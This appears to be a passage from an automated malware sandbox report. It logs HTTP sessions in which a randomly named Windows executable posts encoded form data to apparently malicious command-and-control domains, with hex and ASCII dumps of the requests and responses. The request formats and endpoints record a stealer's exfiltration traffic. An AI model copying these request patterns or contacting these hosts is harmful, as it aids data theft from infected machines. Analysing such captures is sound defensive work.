                                                                                                                                                                                                      Content-Encoding: gzip
                                                                                                                                                                                                      Data Raw: 61 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0e c2 30 0c 44 77 24 fe c1 7c 40 14 10 8c 56 16 04 12 03 13 5f 90 62 d3 44 4a 9d ca 64 a0 7f 4f 0a ad 84 98 19 19 7d f7 ee 74 32 86 d2 25 b7 5c 60 60 4f 0e 4b 2c 89 dd 6e bd 85 63 d6 26 12 b1 a0 7d 8b 68 5f 48 45 9b 4c c3 18 b9 b2 14 56 87 61 f3 9d a8 0a da c9 1e bb 2b 34 5d d2 46 79 7c 7a 76 6e b3 f3 92 95 31 e0 a1 f7 44 51 5a 28 19 28 de 7d 93 18 ce 97 d3 01 bc 10 ec 83 e6 8e e1 a6 91 85 d2 00 ac 9a b5 26 5a 06 63 c6 65 ff 8a 5f fe e2 09 5b 30 e7 0b 24 02 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                      Data Ascii: a90Dw$|@V_bDJdO}t2%\``OK,nc&}h_HELVa+4]Fy|zvn1DQZ((}&Zce_[0$0


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      23192.168.2.6654205.39.10.93804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:46:21.957257032 CEST1806OUTPOST /mfnh/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.spectre.center
                                                                                                                                                                                                      Origin: http://www.spectre.center
                                                                                                                                                                                                      Referer: http://www.spectre.center/mfnh/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 1249
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 6a 67 34 79 78 4b 41 36 6b 39 43 46 45 43 6c 6c 69 43 58 53 59 6a 7a 4b 37 6c 67 42 70 56 63 6d 55 70 53 75 48 55 4b 42 66 4d 57 36 30 57 34 76 7a 65 52 6f 74 51 2b 38 39 4f 6c 47 6e 50 47 31 4e 76 57 6b 53 50 57 37 72 4e 77 77 44 30 74 51 31 6b 30 56 4c 38 66 6e 2f 5a 47 42 61 54 62 41 47 79 2b 61 32 69 70 4e 48 64 2b 61 68 72 34 63 38 33 6a 49 39 33 73 31 4c 30 75 64 4f 58 47 4f 6b 6b 7a 39 4d 70 6a 58 7a 4c 6e 70 76 74 52 2b 59 43 75 4c 42 37 41 71 6d 6c 7a 41 6d 66 6e 76 43 67 70 66 70 77 69 64 4b 74 6f 53 5a 50 52 4d 38 4b 65 6e 54 78 68 7a 37 62 35 64 50 77 36 6c 79 70 46 66 73 61 62 72 6b 76 72 2b 46 34 79 6e 56 34 6b 4e 79 69 63 4d 6b 5a 69 77 67 55 4a 61 4b 41 59 6a 6e 46 35 52 36 30 63 56 50 72 55 38 51 6e 4d 55 41 7a 55 4e 33 4d 48 5a 33 56 68 6f 5a 75 63 78 6c 58 72 4e 65 4d 59 44 76 42 52 6e 65 43 65 53 35 58 30 61 61 58 4c 65 5a 42 39 53 43 34 34 4e 6f 36 67 77 4f 59 37 4b 68 73 39 73 36 4c 36 6d 4a 37 68 47 33 58 37 6b 51 46 7a 36 74 6b 2b 57 68 69 66 6a 6b [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=jg4yxKA6k9CFEClliCXSYjzK7lgBpVcmUpSuHUKBfMW60W4vzeRotQ+89OlGnPG1NvWkSPW7rNwwD0tQ1k0VL8fn/ZGBaTbAGy+a2ipNHd+ahr4c83jI93s1L0udOXGOkkz9MpjXzLnpvtR+YCuLB7AqmlzAmfnvCgpfpwidKtoSZPRM8KenTxhz7b5dPw6lypFfsabrkvr+F4ynV4kNyicMkZiwgUJaKAYjnF5R60cVPrU8QnMUAzUN3MHZ3VhoZucxlXrNeMYDvBRneCeS5X0aaXLeZB9SC44No6gwOY7Khs9s6L6mJ7hG3X7kQFz6tk+Whifjkz4sw20E5iiX7tg/1rPrTSoqQCIiAKPVR55ah/FoJZJ5VeyGVu8DMergD3Dv7EbU60kVzzPGQAs2oubUBe/iA43xv5Wd7n2oTY3sYRMYQO9x/jZFG8faTWgJ+/tIljNWc6y/g47wnFv0XGWcrCsfUTI+R61Xzzrt+21ZCpc7HrDBKwq3PWOLcRUiFNuq5IC9qzt/CuRX0dND2E1FdJpxCyuv44yxWQkfB742nGbRJWFdG474okFB8esgFSIJTxe+bd3/hBtLp7cNT0DjK389BiQuVIxWPgMz7nH7SlGuqnft7QB3QXoVovVt6IlzGXjzKg/j466ip/AxRu/ICk61ysJ48uI4WKtGF5rNPJYCbIcZI4PJMazVN+eboZMGl10toZ1MBIhdCwq2pUFGTegrZsUk44XIdywJQtF5qxb9dROI+1b+iXXKr0KDH8A4Mzr/kS18czZjRQrDUXO0IaW4iYC6QRkWzvSJpC4k4dQP0qBebU1mf6PyUZDugfA5oqX1D2yVYdWJ0jott70jjkn9ZM3+tGoQSzPFtxRi9bgiFkEMTdYDXXzKgeuecIFZDDUJd+RIdoUM06viMK10nwJtakt3JX6UKiHSNdt3p1gBE1GeLAUTPxZG8mds8byudprs2vfSROoIuTr2/pj/Q3JrGUCdm8/QS3rK1md [TRUNCATED]
                                                                                                                                                                                                      Oct 9, 2024 14:46:22.541887045 CEST354INHTTP/1.1 403 Forbidden
                                                                                                                                                                                                      Server: nginx
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:46:22 GMT
                                                                                                                                                                                                      Content-Type: text/html
                                                                                                                                                                                                      Transfer-Encoding: chunked
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Encoding: gzip
                                                                                                                                                                                                      Data Raw: 61 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0e c2 30 0c 44 77 24 fe c1 7c 40 14 10 8c 56 16 04 12 03 13 5f 90 62 d3 44 4a 9d ca 64 a0 7f 4f 0a ad 84 98 19 19 7d f7 ee 74 32 86 d2 25 b7 5c 60 60 4f 0e 4b 2c 89 dd 6e bd 85 63 d6 26 12 b1 a0 7d 8b 68 5f 48 45 9b 4c c3 18 b9 b2 14 56 87 61 f3 9d a8 0a da c9 1e bb 2b 34 5d d2 46 79 7c 7a 76 6e b3 f3 92 95 31 e0 a1 f7 44 51 5a 28 19 28 de 7d 93 18 ce 97 d3 01 bc 10 ec 83 e6 8e e1 a6 91 85 d2 00 ac 9a b5 26 5a 06 63 c6 65 ff 8a 5f fe e2 09 5b 30 e7 0b 24 02 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                      Data Ascii: a90Dw$|@V_bDJdO}t2%\``OK,nc&}h_HELVa+4]Fy|zvn1DQZ((}&Zce_[0$0


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      24192.168.2.6654215.39.10.93804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:46:24.500374079 CEST519OUTGET /mfnh/?uDe8o=HnM0Zn40QtgXtNk0&LvYDDv8X=uiQSy69x68ywNzcc2xGZGS3b7G9Di2AmSZy7E0+wXNrf1UQY7cg94CWp6P5m0cawB8S+TLOh4cYPJlBKxEA2O42nsMGuXDblYTmdoxIoDYKVlZUHtWDb+1EwLivJKG6FvTH7ZcE= HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.spectre.center
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.119623899 CEST1236INHTTP/1.1 200 OK
                                                                                                                                                                                                      Server: nginx
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:46:25 GMT
                                                                                                                                                                                                      Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                      Transfer-Encoding: chunked
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Data Raw: 31 66 66 65 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 2d 52 55 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 68 65 61 64 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 65 63 65 63 65 63 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 76 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 65 63 65 63 65 63 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9f d0 b0 d1 80 d0 ba d0 be d0 b2 d0 b0 20 d1 81 d1 82 d0 be d1 80 d1 96 d0 bd d0 ba d0 b0 20 49 6d 65 6e 61 2e 55 41 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: 1ffe2<!DOCTYPE html><html lang="ru-RU" prefix="og: http://ogp.me/ns#" class="no-js"><head> <meta name="theme-color" content="#ececec" /> <meta name="msapplication-navbutton-color" content="#ececec" /> <meta charset="UTF-8" /> <title> Imena.UA</title> <link rel="icon" type="image/png" href="//img.imena.ua/i/32.png" sizes="32x32"> <link rel="icon" type="image/png" href="//img.imena.ua/i/96.png" sizes="96x96"> <link href="https://fonts.googleapis.com/css?family=Open+Sans:400,700,300&subset=latin,cyrillic" rel="stylesheet" type="text/css" /> <meta name="viewport" content="user-scalable=0, width=device-width, initial-scale=1" /> <link rel="stylesheet" href="https://img.imena.ua/css/media-set.css" type="text/css" /> <style> .park_domain_info { margin: 0 auto; max-width: 650px; text-align: center; } .park_domain_info p { font-size: 16px; padding-b [TRUNCATED]
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.119694948 CEST1236INData Raw: 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 33 37 37 61 61 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65
                                                                                                                                                                                                      Data Ascii: e { font-size: 30px; color: #0377aa; } </style></head><body> <div class="layout"> <div class="header_nav"> <header> <div class="reducer"> <div c
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.119750023 CEST1236INData Raw: 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 64 75 63 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 61 76 5f 69 63 6f 6e 22 3e 3c 2f 64 69 76 3e 0a 20
                                                                                                                                                                                                      Data Ascii: <div class="reducer"> <div class="nav_icon"></div> <ul> <li class="first_nav_li mob_nav_3"> <div class="lang">
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.119786978 CEST1236INData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 0a 20 20 20 20 20 20 20
                                                                                                                                                                                                      Data Ascii: </div> <div> <div class="radio left "> <div class="icon"></div>
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.119822025 CEST896INData Raw: 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                                                                                                                      Data Ascii: </a> </div> </li> <li class="nav_phone" itemscope itemtype="http://schema.org/Organization"> <a href="tel:+380442010102">+380 (44) 201-01-0
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.119857073 CEST1236INData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 69 6d 65 6e 61 2e 75 61 2f 64 6f 6d 61 69 6e 73 2f 70 72 69 63 65 73 22 20 74 69 74 6c 65
                                                                                                                                                                                                      Data Ascii: <a href="https://www.imena.ua/domains/prices" title=""></a> </li> <li> <a href="http
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.119891882 CEST1236INData Raw: 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 69 6d 65 6e 61 2e 75 61 2f 73 65 72 76 65 72 73 22 3e d0
                                                                                                                                                                                                      Data Ascii: <li> <a href="https://www.imena.ua/servers"></a> </li> <li> <a href="https://www.imena.ua/payments"></a>
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.119929075 CEST1236INData Raw: 3d 22 65 6e 74 65 72 5f 62 6c 6f 63 6b 5f 62 6c 61 63 6b 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 6e 74 72 6f 6c 2e 69 6d 65
                                                                                                                                                                                                      Data Ascii: ="enter_block_black"> <li><a href="https://control.imena.ua/login.php?lang=2" rel="nofollow"><span class="imena_icon"></span> Imena</a></li> <li><a href="https://control.mirohost.
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.120124102 CEST1236INData Raw: 69 73 74 5f 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                                                                                                                      Data Ascii: ist_container"> <div> <div class="radio left "> <div class="icon"></div> <input type="radio" na
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.120161057 CEST1236INData Raw: 3d 22 6c 61 6e 67 5f 72 75 22 3e d0 a0 d0 a3 d0 a1 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 61 62 65 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                                                                                                                      Data Ascii: ="lang_ru"></a> </label> </div> </div> </div> </div> </div> </nav>
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.125051975 CEST1236INData Raw: 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 6f 6d 61 69 6e 5f 73 65 61 72 63 68 5f 62 67 5f 74 72 69 61 6e 67 6c 65 5f 6c 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73
                                                                                                                                                                                                      Data Ascii: <div class="domain_search_bg_triangle_l"></div> <div class="domain_search_bg_triangle_r"></div> </div> <div class="domain_search_content"> <div class="red


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      25192.168.2.665422103.245.25.54804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:46:32.747968912 CEST763OUTPOST /rgqx/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.kmjai8jf.icu
                                                                                                                                                                                                      Origin: http://www.kmjai8jf.icu
                                                                                                                                                                                                      Referer: http://www.kmjai8jf.icu/rgqx/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 213
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 32 44 6e 6b 67 57 76 43 4b 78 51 45 51 36 6c 30 74 55 6c 51 77 74 71 55 44 66 32 7a 76 7a 30 43 34 41 51 4a 62 55 48 77 45 50 67 62 75 6e 52 6c 38 68 64 4c 46 64 48 67 46 48 5a 68 4d 67 78 2f 57 34 38 41 56 34 79 77 77 55 33 36 75 46 75 36 69 74 2b 36 62 62 65 6b 65 6a 42 54 6c 46 44 61 44 47 43 70 54 7a 46 48 54 59 55 71 56 51 47 6f 34 4e 4a 41 72 73 34 32 61 4d 78 67 73 67 67 6b 63 71 6d 77 46 37 57 6c 4a 66 45 59 38 61 77 76 4e 63 74 55 64 37 49 36 32 5a 53 6b 73 6f 34 58 45 6b 7a 57 71 65 46 58 55 76 58 75 47 57 69 57 79 5a 32 30 6b 71 63 6a 41 70 62 34 73 79 6c 43 64 56 30 74 78 4b 61 65 67 2b 58 41
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=2DnkgWvCKxQEQ6l0tUlQwtqUDf2zvz0C4AQJbUHwEPgbunRl8hdLFdHgFHZhMgx/W48AV4ywwU36uFu6it+6bbekejBTlFDaDGCpTzFHTYUqVQGo4NJArs42aMxgsggkcqmwF7WlJfEY8awvNctUd7I62ZSkso4XEkzWqeFXUvXuGWiWyZ20kqcjApb4sylCdV0txKaeg+XA
                                                                                                                                                                                                      Oct 9, 2024 14:46:33.659683943 CEST720INHTTP/1.1 404 Not Found
                                                                                                                                                                                                      Server: nginx/1.26.1
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:46:33 GMT
                                                                                                                                                                                                      Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                      Content-Length: 555
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.26.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      26192.168.2.665423103.245.25.54804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:46:35.288469076 CEST787OUTPOST /rgqx/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.kmjai8jf.icu
                                                                                                                                                                                                      Origin: http://www.kmjai8jf.icu
                                                                                                                                                                                                      Referer: http://www.kmjai8jf.icu/rgqx/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 237
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 32 44 6e 6b 67 57 76 43 4b 78 51 45 51 62 56 30 76 33 39 51 34 74 71 58 64 50 32 7a 6c 54 30 65 34 48 59 4a 62 56 54 67 48 35 59 62 74 48 68 6c 2f 67 64 4c 47 64 48 67 4b 6e 5a 34 49 67 78 6f 57 34 41 2b 56 34 4f 77 77 55 6a 36 75 46 2b 36 69 65 6d 39 59 72 65 69 56 44 42 52 34 31 44 61 44 47 43 70 54 7a 52 70 54 59 38 71 57 67 57 6f 34 70 64 44 33 63 34 31 62 4d 78 67 6f 67 68 74 63 71 6d 6f 46 36 4c 43 4a 63 77 59 38 66 4d 76 4d 49 42 56 54 37 49 34 35 35 54 38 74 71 4a 74 4c 55 61 31 70 50 39 67 46 4f 4f 45 4f 41 6a 4d 75 71 32 58 32 36 38 68 41 72 44 4b 73 53 6c 6f 66 56 4d 74 6a 64 57 35 76 4b 79 6a 62 61 33 36 73 79 4e 48 58 5a 4b 4d 55 31 55 6e 6c 79 4c 65 49 67 3d 3d
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=2DnkgWvCKxQEQbV0v39Q4tqXdP2zlT0e4HYJbVTgH5YbtHhl/gdLGdHgKnZ4IgxoW4A+V4OwwUj6uF+6iem9YreiVDBR41DaDGCpTzRpTY8qWgWo4pdD3c41bMxgoghtcqmoF6LCJcwY8fMvMIBVT7I455T8tqJtLUa1pP9gFOOEOAjMuq2X268hArDKsSlofVMtjdW5vKyjba36syNHXZKMU1UnlyLeIg==
                                                                                                                                                                                                      Oct 9, 2024 14:46:36.174931049 CEST720INHTTP/1.1 404 Not Found
                                                                                                                                                                                                      Server: nginx/1.26.1
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:46:35 GMT
                                                                                                                                                                                                      Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                      Content-Length: 555
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.26.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      27192.168.2.665424103.245.25.54804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:46:37.833183050 CEST1800OUTPOST /rgqx/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.kmjai8jf.icu
                                                                                                                                                                                                      Origin: http://www.kmjai8jf.icu
                                                                                                                                                                                                      Referer: http://www.kmjai8jf.icu/rgqx/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 1249
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
